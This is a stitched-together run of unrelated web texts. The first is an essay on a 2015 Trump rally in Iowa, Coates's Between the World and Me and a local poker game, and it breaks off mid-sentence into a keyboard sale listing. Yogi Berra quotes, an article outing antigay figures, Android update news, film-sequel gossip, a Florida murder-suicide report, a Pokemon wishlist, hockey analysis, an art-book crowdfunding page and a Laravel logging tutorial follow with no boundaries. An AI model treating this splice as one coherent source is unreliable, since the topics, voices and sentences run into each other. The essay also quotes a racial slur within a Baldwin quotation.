Like any good show, there was a warm-up act. In fact, there are two – three if you count the recitation of the pledge of allegiance. The first was Tana Goertz, an Iowa woman who had been runner-up on the third season of The Apprentice. “What a good-looking crowd,” she pandered. She vouched for Trump as a woman (“He loves women!”) and as someone who had returned to Iowa (“How could you live in New York City if you didn’t love people?”). She promoted the idea which is at the core of every last thing that Trump does, that simple contact with the man brings prosperity. “When you’re in the Trump train you’re going places!” She walked off to polite Iowan applause. The crowd would probably, all things considered, rather have listened to the Elton John music playing on the speakers instead, but at least she made the effort.
A more standard hype man followed. Sam Clovis hosts a conservative radio show and is a Tea Party activist who has run and lost a bunch of Iowa Republican positions. He just started right in with it. Trump was “one of the greatest men to ever walk the face of this earth,” a good line – the crowd could have laughed but instead they applauded, thus proving that they were not paying attention or would swallow anything. Clovis compared Trump’s recent speeches to Reagan’s A Time for Choosing at the Goldwater convention in 1964, which must have been, to his way of thinking anyway, roughly like comparing it to the Sermon on the Mount.
Clovis knew what the crowd had come to hear and he gave it to them. “America and Americans will be first again!” A collective roar shook the Burlington Memorial Arena. They so badly wanted to be first again. First in what was unclear but definitely first.
After the roar died, the crowd was ready for Trump. But, showmanship. Trump let the tension build; the angry absurd men and the cheerful, helpful women hollered. Trump! Trump! Trump! I could barely imagine the pleasure the muted sound of his chanted name, from backstage, must have been bringing the man.
When he finally took the stage, the crowd surged; their phones surged. It was an orgy of phones. The men behind Trump scanned the crowd with their phones. The cameras in the back were recording everyone recording each other. Trump was the only person not holding a screen, the absence that brought desire. He started roaring, as everybody in the crowd stopped to check the footage they had gathered.
Trump started out with the clip he knew would appear on the news the next morning – Joe Biden had dropped out of the race and Trump approved of his decision because Biden never had a chance and Trump wanted to face Hillary. The mainstream media adroitly handled, Trump began his disquisition on the subject dearest to his heart: his own success.
The Burlington rally marked the 100th day he had led the polls. He read the polls, poll after poll. He paused only to ask the crowd how great the polls were. “Beating Hillary nationwide do you love that?” The crowd approved of his approval numbers. And so he moved on to the more qualitative aspects of his greatness. His opponents just weren’t winners. “I speak from the brain but I also speak from the heart,” he said, rambling like a rich know-it-all uncle – “I’m bringing back the jobs from China!” – with brief digressions into self-pity: “Macy’s was very disloyal to me. They don’t sell my ties any more.”
He described, in twists intermittently frank and self-deluded, the brilliance of his own capacity for political manipulation. He talked to the people he was spinning about how cleverly he was spinning them. So he declared “I’m a good Christian” and that if he became president “we’re going to be saying merry Christmas”, but then he couldn’t stop himself from acknowledging the cleverness of his Christian electioneering: “I walked on to a stage with a Bible, everybody likes me better.” Trump brought meta to Burlington, Iowa. And he did not deny the crowd that taste of celebrity they desired. What would he say to Caroline Kennedy, the ambassador to Japan? “You’re fired!” “You’re fired!”
A few spectators started to drift out to beat the traffic and Trump shouted about the silent majority and about how he says what nobody else dares to say and about how he will end free trade and how Mexicans are car thieves (big laugh) and how he wants a piece of the action from the Keystone pipeline and how he’s going to help women’s health and how America used to be emulated. “The American Dream is dead but I’m going to make it bigger and stronger!” he shouted. At this moment he appeared to me the way every celebrity I have met in the flesh does, like a living pagan idol awaiting sacrifice, a puff-faced Baal. “We’re going to win so much,” he promised before leaving the stage to Twisted Sister’s We’re Not Going to Take It.
Facebook Twitter Pinterest Trump supporters at the Veterans Memorial Building in Cedar Rapids. Photograph: Scott Morgan/Reuters
I stayed to watch Trump work the line. Up close, in person, the hair is much more intricate than it appears on screen. Its construction is tripartite, its significance polyvalent. First and foremost, there is the comb-over, although it can be called a comb-over only in the sense that the mall in Dubai with a ski hill inside it can be called a building. It is hair as state-of-the-art engineering feat, with the diaphanous quality of a cloak out of Norse legend or some miraculous near-weightless metal developed in an advanced German laboratory. It floats over the skull, an act of defiance not only against ageing and loss but against time and space, against reality.
Behind the technical display of the comb-over, as counterpoint, the back is as traditional and old-fashioned as a haircut can be. It’s a classic ducktail. It’s such a classic that I have only seen it in movies set in the 1950s. Not movies from the 1950s I should be clear, but movies from the 1970s about the 1950s. In between the comb-over and the ducktail, between the two follicular spaces representing the modernistic and the atavistic, the fantastical and the nostalgic, there is a third tranche. Even in person you have to look closely to catch sight of it. It bulges, slightly but only slightly. It is the real part of the hair, the human part, the actual hair. It is the hinge of Donald Trump.
As Trump’s campaign for the Republican nomination has unfolded, in all its unlikeliness, he has shaken hands with many thousands of Americans, and posed with many thousands for many thousands of selfies. And among those many thousands, not one has reached up to mess up his hair. Though he regularly brings up the physical appearances of his opponent, none of the other candidates even mention the fact that he looks ridiculous. Trump’s hair is an act of defiant social pre-emption: call me a phony. I dare you. I fucking dare you.
A few hardcore fans lingered on the fringes, just like at a concert. Everybody else had drifted into the parking lot and the town center of Burlington was soon returned to its emptiness. A Trump show is good value for the money, especially since it’s free. They don’t even ask for donations.
The view from Fun City
The morning after the rally, it has become clear that Iowa may be the bramble in Trump’s path. A scandal over an errant tweet has cloudburst.
He blames the insult on a young intern. But the eight-point rise of Carson must be galling. Trump possesses the weakness of anyone who lives by the strength of their results. Results vary. When the results are down, where are you? Who are you? Trump is in the business of winning. Does Trump losing even exist?
I had a day between Trump and Sanders, and all I had to read was a pdf of Ta-Nehisi Coates’s Between the World and Me, which I had agreed to look at for a book of the month club. After another hot mess at Jerry’s Main Lunch, and a run to burn it off, I spent a day at the Motel 8 in Burlington reading, while across the street, the Winegard factory, manufacturing satellite dishes 24 hours a day, thudded like a heart without syncopation. Did you know you can buy a six pack of beer and a bottle of bourbon for just a little over 20 bucks in Iowa? What a great country.
The title of Between the World and Me comes from a Richard Wright poem called White Man, Listen! and it was never going to get much whiter or more male than me in the Motel 8 sipping bourbon and beer, on my iPhone, with the Jays and Royals highlights flickering in the background and the thud of the satellite dish factory in the background.
The urgency of the book, the vitality of the historical imagination at play, rose like waves into crests of anger tumbling over their own force. It was all of a piece. And it all made very ferocious sense. Between the World and Me is one of those books that possess the powerful inevitability of a natural phenomenon – as if it accrued out of the ether that surrounds us, a crystalline formation of the outrage that defines the moment. To criticize is beside the point. It’s just there.
To me, the key passage in Between the World and Me, comes after Coates has been on television explaining to the host the desperate consequences of yet another police assassination of a black boy.
I came out of the studio and walked for a while. It was a calm December day. Families, believing themselves white, were out on the streets. Infants, raised to be white, were bundled in strollers. And I was sad for these people, much as I was sad for the host and sad for all the people out there watching and reveling in a specious hope. I realized then why I was sad. When the journalist asked me about my body, it was like she was asking me to awaken her from the most gorgeous dream. I have seen that dream all my life. It is perfect houses with nice lawns. It is Memorial Day cookouts, block associations, and driveways. The Dream is treehouses and the Cub Scouts. The Dream smells like peppermint but tastes like strawberry shortcake.
Right then, reading that passage, I knew that white people were going to love this book. What white people crave – more, they require it, they require it to live – is an alibi from their whiteness, an escape from the injustice of their existence. There are various alibis available depending on how much stupidity you can tolerate. You can say to yourself or to others that black people are stupid and lazy; you can say that you don’t see color; you can call your uncle a racist so everybody knows you’re not; you can share the latest critique of brutality on Twitter with the word THIS; and now you can tell a friend that she really has to read Between the World and Me.
Because that Dream of Whiteness, the dream of treehouses and cub scouts that tastes like peppermint and smells like strawberry shortcake, is a perfect alibi. Who lives that dream? Somebody else may live it but not me, not anyone I know, no one I could see in Burlington. That’s a dream that belongs to somebody else. Always to somebody else.
It certainly didn’t belong to the Winegard factory workers who were drifting to their cars at the end of their shift. The whiteness of my existence was my iPhone and the fumes of bourbon and beer, and the game from last night and the tingling in my thigh. The tingling in my thigh was my body – the reality I can’t look at because I’m too afraid of my mortality.
To me, the best question ever asked about race in America has always been the one that James Baldwin asked, when an interviewer wanted to know if he was optimistic or pessimistic about the future of America. “What white people have to do is try and find out in their own hearts why it was necessary to have a nigger in the first place,” he said. “If you invented him, you, the white people invented him, then you’ve got to find out why. And the future of the country depends on that.” The obsession of intellectuals over the question of Malcolm X or Martin Luther King, Jr active or passive resistance – was moot; the pressing matter was why white people were blowing up churches filled with children.
Whiteness is a spiritual distortion, evidently – by the fruit ye shall know the tree. And on the question of white pathology, what good answers has America produced since Baldwin asked that question in 1963? And now that white pathology has returned to waste away its host, unexamined and mysterious, a golem.
In the evening, I finished the book and didn’t want to think about my white and male body any more, or the tingling in my thigh.
Across from my hotel, the Fun City complex contained an imitation midway, a bowling alley, a couple of bars, a replica diner and, tucked in between a hotel and a spa, the Catfish Bend Casino. The poker room is dingy but serviceable. A game started at six. I wanted to play. I wanted to find out how much fun can you have in a place called Fun City.
The youngest guy at the table, Curved Baseball Hat, grew beans and corn. A man with an angry mustache ran the conversation, a three-day beard beside him adding an occasional aside. The rest of us sat cooking quietly in the juices of our addictions, like in any casino. Everybody at the table knew everybody else, except for me and a black welder in town for a specialist job. It was happy hour in Fun City, and beer was a dollar. Everybody ordered a mess of them. And I felt just how lucky it is to be in America, despite politics, despite everything. Cheap beer and frank people and an honestly run game in a clean room. Even compared to Canada, the unthinking prosperity of the place is dazzling.
Three Day Beard had seen Trump the night before, and Angry Mustache asked his opinion.
“I think he could win,” Three Day Beard said cautiously, as if it were a criticism, as if it were all you could say of him, that he might have a chance to take the presidency, for what it was worth.
“Don’t matter,” said Angry Mustache. “No matter who gets in, Washington just ruins them.”
“He might be different because he doesn’t need the money.”
Angry Mustache quoted a statistic, which I later check and turns out to be bullshit, that all congressmen become millionaires by the time they’ve been in office for a year. Everybody agreed that Trump’s main advantage is that he comes pre-corrupted.
“It’s not even the money,” Three Day Beard said. “They get there. They all have these schemes and plans. They can’t do anything.” Three Day Beard almost pitied the politicians.
“It’s all broken,” added Angry Mustache as a kind of given, the way you’d state any historical fact, like “Germany lost the second world war” or “Frances |
, but all keys have a keycap. The bottom panel has some scratches. The elevated feet are working. See photos for more details! NOTE: The connector is a 5-pin DIN plug that uses the 240-degree spacing as compared to the normal AT keyboard connector that uses the 180-degree spacing. ”Looking back at the wit and wisdom of the departed Yankees legend, who was known equally for his pithy quotes and malapropisms as his formidable bat
The beloved Hall of Fame catcher Yogi Berra died on Tuesday at 90. The 18-time All-Star and three-time American League Most Valuable Player was known as much for his unwitting “Yogi-isms” as much as his prowess at the plate. Here’s a selection of his more colorful quotes.
“Baseball is 90% mental and the other half is physical.”
“When you come to a fork in the road, take it.”
“It’s déjà vu all over again.”
“We made too many wrong mistakes.”
“If you don’t know where you’re going, you might wind up someplace else.”
“It gets late early out here.”
“I always thought that record would stand until it was broken.”
“Even Napoleon had his Watergate.”
“Pair up in threes.”
“The future ain’t what it used to be.”
“Slump? I ain’t in no slump … I just ain’t hitting.”
“Always go to other people’s funerals, otherwise they won’t come to yours.”
“It ain’t the heat, it’s the humility.”
“A nickel ain’t worth a dime anymore.”
“He hits from both sides of the plate. He’s amphibious.”
“You can observe a lot by watching.”
“I usually take a two-hour nap from one to four.”
“Never answer an anonymous letter.”
“It ain’t over till it’s over.”16 Antigay Leaders Exposed as Gay or Bi
Pastor Matthew Makela is the latest prominent antigay leader to get caught trolling for guys, but there were many like him who also fell face first out of the closet.
Not every antigay crackpot is actually gay, but there's no shortage of those who actually are. Here are some hypocrites who just couldn't practice what they preached.
This antigay activist and cofounder of the Family Research Council shocked the world in 2010 when he was caught returning from a European vacation with a male escort he found on Rentboy.com. He initially claimed he hired the man to carry his luggage because he had just had surgery and wasn’t able to lift anything. Rekers also tried to explain himself with a Facebook post: “I deliberately spend time with sinners with the loving goal to try to help them.”
PagesSoftware updates are important to people nowadays, more necessary than they were before. And why not? New updates bring performance improvements, bug fixes, and new features to our smartphones. So it is very natural to expect timely updates, especially when it comes to the largely-loved Android OS. And yes, we are talking about the Android 6.0 Marshmallow here.
When talking about regular Android updates, Nexus and Android One devices are included in the list by default. The first phones to get Marshmallow are the newly launched Nexus 5X and Nexus 6P. But people using devices from other OEMs are excited to know when this new major update will be coming to their devices. This update is especially important as it brings in a lot of new security features alongside other new improvements in various Google apps and services.
We have compiled a list of all the devices that will be getting the Android 6.0 Marshmallow update sooner than later, and though this list does not come straight away from Google, these devices have been confirmed to get the new update. Please remember that we have included only those devices in this list which have been confirmed to get Marshmallow, and there are more devices out there which are likely to get the update too but haven’t been confirmed yet. So don’t consider this list as complete, and we will keep updating you in case there is any further addition to this list.This story contains a spoiler for Tangled.
For the past few years, as Walt Disney Animation Studios has continued its remarkable run of recent success, rumours of sequels to its films have gathered momentum.
The last 'official' sequel Disney made to one of its classic line of animated features was The Rescuers Down Under, that was released way back in 1990. Of course, there's the dozens of mainly straight to DVD sequels that infected stores throughout the 1990s and 2000s, but they were the work of a separate part of Disney.
However, we keep hearing word of Wreck-It Ralph 2 and Frozen 2, both of which are believed to be in development. And once upon a time, there was chat of a follow-up to Walt Disney Animation Studio's 50th animated feature, 2010's Tangled.
And now we've found out the simple reason why it didn't happen.
We chatted to Tangled's producer, Roy Conli, for the release of his new film, Big Hero 6. And he confirmed that Tangled 2 was something that Disney was actively investigating (and indeed that conversations about sequels are coming up at Disney).
"There was a desire to somehow take it into a filmic sequel", he admitted of Tangled. So why did it stumble? It come down to the fact that directors Nathan Greno and Byron Howard ultimately "weren't really interested" in following up the story. Plus, as Conli pointed out, "her hair was gone!"
So there you have it. Not a complicated story, but rare confirmation that Disney was indeed working on an official sequel to one of its animated hits.
Our full interview with Conli is here, and Big Hero 6 is now in cinemas. Rumours of a sequel to that one have started already...
Follow our Twitter feed for faster news and bad jokes right here. And be our Facebook chum here.ORLANDO, Fla. - A man and woman are dead after a suspected murder-suicide Wednesday afternoon at an Orange County home, according to sheriff's officials.
Two young children were found inside the Buchanan Bay apartment after the shootings, Orange County Sheriff's Office spokesman Jeff Williamson said. The children, one of whom is 1 year old, were not injured.
Deputies are attempting to determine the relationship between the man and the woman, but it is believed that they were in a romantic relationship.
Deputies said the man was pronounced dead at the scene, and the woman was pronounced dead at Orlando Regional Medical Center.
They were identified Thursday afternoon as Geardine Petit Frere, 25, and Hans Peter Joseph, 28. Deputies said Petit Frere had filed a petition for injunction for protection in October, but later withdrew it.
Authorities said it's believed one of the children was the couple's child and the other was being babysat by the woman who was shot and killed. They were placed in the custody of the Department of Children and Families.
No other details have been released.
Watch News 6 and stay with ClickOrlando.com for updates.
Copyright 2017 by WKMG ClickOrlando - All rights reserved.Naturally, an I Am Legend sequel wouldn’t have that much pull without the presence of star Will Smith. But logically, an I Am Legend sequel couldn’t really exist with Smith since, as I hope you all know by now, he dies at the end. This notwithstanding, a new I Am Legend film is being planned, with Smith sought to return to the Robert Neville: Zombie-Doctor role he played back in 2007. So are we in for a prequel?
One might assume so, but that poses another big problem. An immediate prequel to the events in I Am Legend wouldn’t really differ much from the original film. We’d just see more of Smith and a dog surviving, helping others survive, trying to find the cure, slowly losing their minds. A more distant prequel would offer a bit of variety…but the problem there would be even larger: a lack of zombies. Could the film dare to go so far back that the zombie outbreak has not yet transpired? If so…what exactly are we going to be watching?
The most viable option, perhaps, is a film detailing the events that took place between the news reports of the diseases that opened I Am Legend, and the time period that encapsuled the bulk of the movie. Although, really, we know enough about how this all went down to understand everything thereafter. It seems as though any further exploration of the I Am Legend timeline would be overdoing it.
Now, a Bagger Vance sequel on the other hand…Many Nintendo fans were frustrated with Nintendo of America for not bringing the regular New Nintendo 3DS over which has the awesome interchangeable faceplates. Damon Baker, Senior Manager in Marketing and Licensing, says the reason for not bringing the regular New Nintendo 3DS was simply down to the fact that they had to market two similar systems and that consumers could get confused with the amount of products available.
Yeah (laughs). Look, the face plates are super cool, but we’re a different market. And now we have clear differentiation between those three systems. Before, there was a very limited difference between the 3DS and 3DS XL: other than size. It was the same resolution, same functionality… now, there’s the 2DS, 3DS, and New 3DS XL, all of which have their own functionality and features. The different price points give it a clear message for consumers. The core audience… we weren’t going to win with them on that decision. But we had to think about expanding the user base, we had to be able to market it and make it easy to pick up for consumers.[Note: This article was written before the announcement and release of Pokemon X and Y.]
The Pokemon games are all quite good, and each new one brings a good deal to the table. Most impressive, is that the battle system is simple enough for a child to play, but has enough hidden depth for competitive players of all ages. Sure, it's not always completely balanced, but rules can be agreed upon among friends and in each tournament. I don't claim to be knowledgeable enough to suggest drastic changes to the already quite good battle system, so I'll just let the folks at smogon worry about that. What frustrates me is when a game with such a great core system has so many other, often minor, improvements that could be made. But of course, it still sells ludicrously well without changing these things, so why would Game Freak bother? For the love of the craft perhaps? Nah, I'm kidding myself, it's all about the product and sales for them.
Anyway, let's start with the stuff that has been improving, but not to the extent that it should.
Stuff that's improving but not to the extent that it should:
Say no to HM slaves.
HM moves have been a Pokemon annoyance since the first games. You need them to navigate the world, but they use up one of the four moves of one of your Pokemon. These moves then can't be easily deleted, are often useless in battle, and when there's five or more HMs to use, it becomes quite a hassle. Black and White versions finally improved on this system by not requiring you to use HMs to finish the game; instead only requiring them for optional areas. Unfortunately, this made the game feel more linear, as other arbitrary roadblocks were set up instead of barriers requiring HM moves. Also, the problem of the HMs still exists, even if it isn't to the extent that it used to be. How about instead of using HMs to move boulders and cut trees, there's a key item that you need to have? Or, keeping with the spirit of Pokemon, you could teach your Pokemon HM moves separately from their battle moves. That way you could have a separate list of what they can do outside of battle without making them totally useless during battle.
The story of Pokemon has always been the same: you have to get eight badges, beat the elite four, and stop some evil organization along the way. Honestly, that basic formula does not need to change for the story to improve. And the story has improved a little in recent games, but it still feels boring and uninspired. It's like they had to make a shell to put the great battle system into so they just said "Oh, alright" and made the first lifeless plot that they thought of. I don't think it's that the translations are bad; I think it's that the original writing is bad. Pokemon is an RPG, and as such, not having a compelling plot is missing a huge opportunity. The Pokemon universe has the potential to be epic and interesting, if only Game Freak would hire some better writers.
The graphics don't necessarily need to change. The current sprite-based 3D look is quite cool and I can understand the desire to maintain the same art direction. However, I've heard countless times that people would like to see a real Pokemon game on a home console in 3D. With the 3DS (and with the DS), it's possible to have a 3D Pokemon game on a handheld. Sure, it's not necessary, but I think that exploring the colorful world of Pokemon with a free camera and 3D models would bring the game to life in a significant way.
Multiplayer has always been a huge part of Pokemon. Battling and trading are definitely the essentials and as they are they work pretty well. The Global Trade Station (GTS) by which you can offer up trades and find trades online is a good start, but it could be improved. It is hopelessly clogged with impossible trade offers for level 9 and under legendaries, refreshing search results is cumbersome, and there's no way to specify that you are searching for a shiny Pokemon or one with a particular nature. Battling works well, but with random matchups online you'll only ever find ridiculously good people or people who disconnect without a penalty whenever you seem to be winning.
Additionally, I can't count the times I've heard people say they want a Pokemon MMO. I'm not going to suggest that. While I think it would be cool, I also think that it would be better as a spinoff game rather than one of the series' core games. I also understand that there is almost no chance of it happening. What I suggest instead is that you be able to see your friends running around in your game just as they are in their games, as long as they are in range of local wireless. You would then be able to talk to them to initiate a battle, trade, or minigame. Of course, you would still be able to initiate those things without being in the same place as them too.
Difficulty settings were added in Black 2 and White 2, but the way of unlocking them is convoluted and defeats the purpose of having them. Basically, beating White 2 unlocks an Easy Mode option while beating Black 2 unlocks a Challenge Mode option. This can then be sent to another person's game to unlock it for them. Unfortunately, what this means is that you won't be able to play through the game in Challenge Mode or Easy Mode from the beginning unless someone sends you the key to unlock it. This design choice boggles my mind. It's better than not having the option at all, but increasing or decreasing the difficulty after the Elite Four is mostly pointless.
Stuff that worked but was removed for no obvious reason:
What's even more frustrating is when a handy or cool feature is implemented in one game and then not used in the next.
Secret bases from the third generation weren't necessary, but they were super fun. Basically, you could claim one of many designated areas in the world, make a secret base there, and decorate it with items that you buy or find. It was kind of like a mini Animal Crossing game in Pokemon. Even better was that when you mixed records with people, their secret base would become accessible in your game and you'd be able to battle a computer controlled version of their team once a day; a very good way of getting quick experience and extra challenge.
Using L=A to play Pokemon at work may cause you to
make mistakes, so be careful not to screw up your EVs.
L=A was an option available from the third generation to the fourth (what Bulbapedia says is wrong; it ain't in Black and White). It let you use the L button as the A button, which meant that if you had a mind to, you could do almost everything just using your left hand, leaving your right hand free to cure cancer or pet your cat or whatever. Anyway, it was quite handy and I want it back.
Autorun was available in Heart Gold and Soul Silver, and like it sounds, it made you run by default. It makes sense, since the times you want to walk are far fewer than the times you want to run. I don't know about you, but if I'm not running in Pokemon, it's because I'm biking. Not only would I bring autorun back, but I'd use it to improve the game in another way which I'll explain in a minute...
Being able to rematch trainers ought to be a no-brainer. So why isn't it in Black and White? We had this feature before, but now we don't. There's no reason why you shouldn't be able to rematch every trainer and gym leader in the game if you want to.
There are a few other things too that are less necessary but still missed by some. Things like having a Pokemon follow around behind you, being able to use the bottom screen as a step counter, and minigames like the Pokemon Contests and Pokeathlon are just a few of the things that would be welcome to return.
New stuff and bigger changes:
When I think of things in Pokemon that make the game less fun and more of a chore, there are a few specific things that come to mind.
the encounter rate is First,is too damn high, even when the wild pokemon are at levels far below your own. But my solution isn't as simple as lowering the encounter rate. I would make it so that if the wild pokemon in the area are at a much lower level than those in your party, the encounter rate would decrease or stop entirely. However, supposing you wanted to encounter a pokemon, you could hold a certain button to walk (this is where autorun comes in) which would allow you to encounter pokemon regardless of your level.
Second, transferring pokemon is a huge pain when it involves more than just a few. In every new generation you'll probably want to transfer many of your pokemon from the previous version - and you can - but you'll only be able to do a few at a time and will also have to do some silly minigame first. Similarly, when trading between versions of the same generation, you'll only be able to trade one at a time, very slowly. It would sure be nice if you could just give your pokemon to the other game without having to trade, and if you could give more than one at a time.
While we're at it, why not make trading a feature of the PC box? The pokemon boxes also need an overhaul which would allow you to easily order your pokemon by type, number, level, etc. and also be able to manually move more than one at a time (edit: it seems moving multiple Pokemon is actually possible). Also, why are there so many menus before actually getting to the box? It asks if you want to withdraw, deposit, or move your pokemon, but you can do all three of those by selecting the move option, so why are the others even there?
The EV and IV system is also a big pain for competitive players and is what leads many to resort to hacking rather than spending the time required for breeding and training. For those who don't know, effort values (EV) and individual values (IV) are what determine your pokemon's stats (along with their nature and species). The IVs are determined when the pokemon is created and EVs are accumulated as you battle, with each pokemon giving EVs for certain stats. This means that if you battle a bunch of the same pokemon, one stat will increase far more than the others when you level up. Items like the macho brace can help you gain more EVs and cut down on the training time, so while it is a pain, it's not as big of a pain as trying to get good IVs. IVs can be bred for, but breeding takes tons of time and trying to get good IVs that match the nature and ability you want takes even longer. The benefit of EVs and IVs from the developer's perspective is that it makes every pokemon unique. Unfortunately, in competition it means that the person who wastes obscene amounts of time on it (or hacks their pokemon) has the advantage.
Fixing this is a bit more complicated. Breeding still needs to have a purpose; perhaps just getting the ability, nature, and egg-moves (and pre-evolutions of course). IVs could probably just be dropped entirely, and EVs could be replaced with a stat distribution system which lets you decide which stats to focus on at each level up.
Finally, something less serious but totally awesome that I'd like to add is character customization. I want to be able to dress up my character and change their look. Right now you can choose to appear as one of the many other trainer types you battle throughout the game during multiplayer, but I'd like full customization that I can see in single player and multiplayer. They had this in Pokemon Battle Revolution and it was one more thing to try to achieve. It's not just the fun of playing dress-up (teehee), it's showing how awesome you are by showing off your hard to find clothes. It's wearable trophies and I want it.
And that's everything that I can think of for now. Thanks for reading this rather long post, and if you have any other suggestions for how to improve Pokemon, let me know in the comments.Photo Credit: Jerome Miron/USA TODAY Sports
The Vancouver Canucks have embraced a youth movement of sorts in the early stages of this season.
To the organization’s credit, they’ve managed to at least make an initially successful foray into bridging the gap from one era to the next by getting a handful of their notable prospects some NHL reps. And they’ve done while remaining competitive.
The early returns on the youth influx have been rather encouraging. Jared McCann is amongst the team leaders in goals, Jake Virtanen has flashed the sort of powerful play both on and off the puck that may justify his draft position yet, and Ben Hutton has been a standout puck-mover from the back end.
If those guys have been given a chance to dip their respective toes in the water, though, then Bo Horvat has been tossed into the deep end of the pool without a life jacket.
Ever since the team’s de facto number two pivot Brandon Sutter went down with injury, Willie Desjardins has entrusted the 20-year-old Horvat with a markedly tougher, more onerous role than the one he thrived in towards the end of last season.
The manner in which Horvat has handled this increase in responsibility has been a mixed bag at best, leaving fans wondering whether he’s been struck by the much ballyhooed ‘sophomore slump’.
There’s no denying that Horvat has struggled, which makes it a convenient story to weave, but it’s also one which overlooks the impact of the uncommon usage he’s been tasked with. Particularly when shorthanded, where he’s been one of only 13 forwards 20-years or younger to exceed two minutes per game of penalty killing duty since ’05 (according to War on Ice):
Player Season Age SH TOI/60 Jordan Staal 08-’09 20 3.54 Rostislav Olesz 05-’06 19 3.52 Jordan Staal 07-’08 19 3.49 Sean Couturier 13-’14 20 3.41 Jordan Staal 06-’07 18 3.04 Rostislav Olesz 06-’07 20 2.97 Ryan O’Reilly 09-’10 18 2.87 Sean Couturier 11-’12 18 2.72 Patrice Bergeron 05-’06 20 2.59 Paul Stastny 06-’07 20 2.51 Mike Richards 05-’06 20 2.47 Ryan O’Reilly 10-’11 19 2.38 Bo Horvat 15-’16 20 2.36 Sean Couturier 12-’13 19 2.33 Josh Bailey 10-’11 20 2.28 Anze Kopitar 06-’07 19 2.19 Zemgus Girgensons 14-’15 20 2.11 Brandon Sutter 08-’09 19 2.11
Beyond Rostislav Olesz sticking out like a sore thumb on some shallow Florida Panthers side, what quickly becomes apparent from scanning the list of names is that the types of guys who undertake this sort of responsibility this early in their careers tend to become fine players more often than not.
Though it’s tricky to separate cause and effect here, there’s probably a valid reason as to why we don’t typically see coaches feed their players to the wolves to this extreme, except in the rare instances. It generally takes time to cut your teeth in the league before you’re able to stay afloat, let alone be effective, in more demanding game situations.
Unfortunately for the Canucks, with Sutter’s injury limiting their other options, they haven’t necessarily had the luxury of sheltering Horvat. Of players aged 22 or younger this season only Jean-Gabriel Pageau, Jonathan Huberdeau, Brock McGinn, Sasha Barkov, Radek Faksa, Chris Tierney, and Alexander Wennberg are currently sporting a more defensively skewed team-relative offensive zone start percentage.
To say that Horvat has buckled under those minutes would be fair, though he’d surely be looked upon in a better light if the underlying percentages weren’t conspiring against him as well. Not only have none of his 36 shot attempts (21 of which hit the target) at five-on-five found the back of the net, but his.894 on-ice save percentage also happens to be the lowest figure for any Canucks skater.
While the even strength issues are within reason, the sledding has been noticeably tougher and more pronounced when down a man. The ~120 shot attempts/60 that the Canucks are surrendering when Horvat is on the ice in shorthanded situations are the 13th worst rate for any player with at least 25 minutes to his name. He’s been a big reason why the team’s penalty kill as a whole, which used to be among the club’s strong suits, has went into the tank this season as Thomas Drance was wise enough to forewarn all the way back in June.
It certainly doesn’t help their cause that they’ve taken the 10th most penalties to-date, either:
Interestingly enough, if you expand the age cutoff to 21 for the list of players highlighted above it includes a very young Ryan Kesler, whose ’05-’06 campaign happened to be his second year in the league (following a fairly brief cameo prior to the lockout).
On that incarnation of the Canucks, which happened to be in a state of transition itself, Kesler was asked by Marc Crawford to eat a heavy dose of defensively-oriented shifts, and penalty kill time.
He wound up scoring just 10 goals, registering 23 points, and surrendering a high percentage of shot attempts whenever he was on the ice. If you squint just hard enough, you can begin to make out the similarities between then and now. For whatever it’s worth, an injury took a large chunk of Kesler’s following season, but he managed to make a noticeable leap in both even strength and shorthanded situations during his time in the lineup. The next year he eclipsed 20 goals for the first time (and went on to do it in each of the following 6 full seasons).
The point here, of course, is to preach patience. I still believe that the only way a player can get better is if he gets a chance to either succeed or fail in the first place. There’s no amount of practice time or video work that can replicate a healthy dose of in-game reps.
Given what we’ve seen from Bo Horvat early on in his career, there’s no reason to believe that he won’t eventually refine that area of game to the point where he’s potentially even an ace. The Canucks are banking on that evolution happening over time for the sake of more than just this season, or the next.82 Sleepless Nights
I had my second baby in July of last year, and I was worried that I wouldn't have any more time to draw for a long while. For a little bit it was almost impossible to make the time, but I was determined. I decided to draw a small inked illustration each day starting in October. The best time to work was in the short period of time after I put the kids to bed but before I fell asleep myself.
The images started simple, but soon, they evolved into something more intricate. The further I got in the sketchbook, the more I wanted to fill every single page with a lovely image. Somehow, the whole 82 page book got filled up. I’ve decided to publish them as a little book, so I could share them with people who’ve helped encourage me.
The original book
See more of how the book came together here!
Greeting Cards
In addition to the book, I’ve also decided to make my favorite 5 illustrations into a series of greeting cards. They make great gifts!
Assorted Greeting Cards
Coloring Book
I am also collecting 20 of my favorite drawings into a 8.5x5.5” paperback sketchbook. This is a great way to experience the art by coloring it yourself! You can get this by supporting the campaign at the Deluxe level or higher.
Original Ink Drawings
Get a new original piece made for you that is just like one from the book. They are done at the same size (4”x6”) with the same sepia ink as the original book. It will be a special and unique drawing made just for you.
Watercolor Paintings
I’ve made some of my favorite drawings from the book bigger and painted in watercolor. You can own one of these pieces as a 1-of-a-kind companion to your book. They also come with a free pack of greeting cards :)
Click to view larger versions
If you are interested in seeing more of my painting process check out my blog! http://www.aniamohrbacher.com/process-blog/
Set of 5 Greeting Cards with envelopes
4x6" Hardcover 82 page book "82 Nights" - Mock-up
Deluxe Package with 20 page coloring book full of intricate linework
Collectors Edition with Signed and numberd bookplate
Get your own custom 4x6" ink drawing with the Original Art Package
Collectors Edition with original sketch on the bookplate
Original Painting Package with "Longing"
Original Painting Package with "Sisters"
Original Painting Package with "Queen"
Original Painting Package with "Nightfall"
Original painting "Kindred"
Original Painting "Selkie"
"Butterfly with a Thousand Eyes" comes matted and framed
More of my work is available through my web store please check it out!Posted on 30th June 2016 | Freek Van der Herten
In your apps there's probably a lot going on. Users log in and out, they create, update and delete content, mails get sent and so on. For an administrator of an app these events provide useful insights. In almost every project we make at Spatie we log these events and show them in the admin-section of our site. Here's how that looks like in our Laravel template called Blender.
We made a new package called laravel-activitylog that makes logging activities in a Laravel app a cinch. In this blogpost I'd like to walk you through it.
Basic logging
This is the most basic way to log some activity:
activity()->log( 'Look mum, I logged something' );
This will write a record in the activity_log table. You can retrieve activity using the Spatie\Activitylog\Models\Activity model that the package provides.
$lastActivity = Activity::all()->last(); $lastActivity->description;
You can specify on which object the activity is performed by using performedOn :
activity() ->performedOn($someContentModel) ->log( 'edited' ); $lastActivity = Activity::all()->last(); $lastActivity->subject;
You can set who or what caused the activity by using causedBy :
activity() ->causedBy($userModel) ->performedOn($someContentModel) ->log( 'edited' ); $lastActivity = Activity::all()->last(); $lastActivity->causer;
If you're not using causedBy the package will automatically use the logged in user.
Automatic model event logging
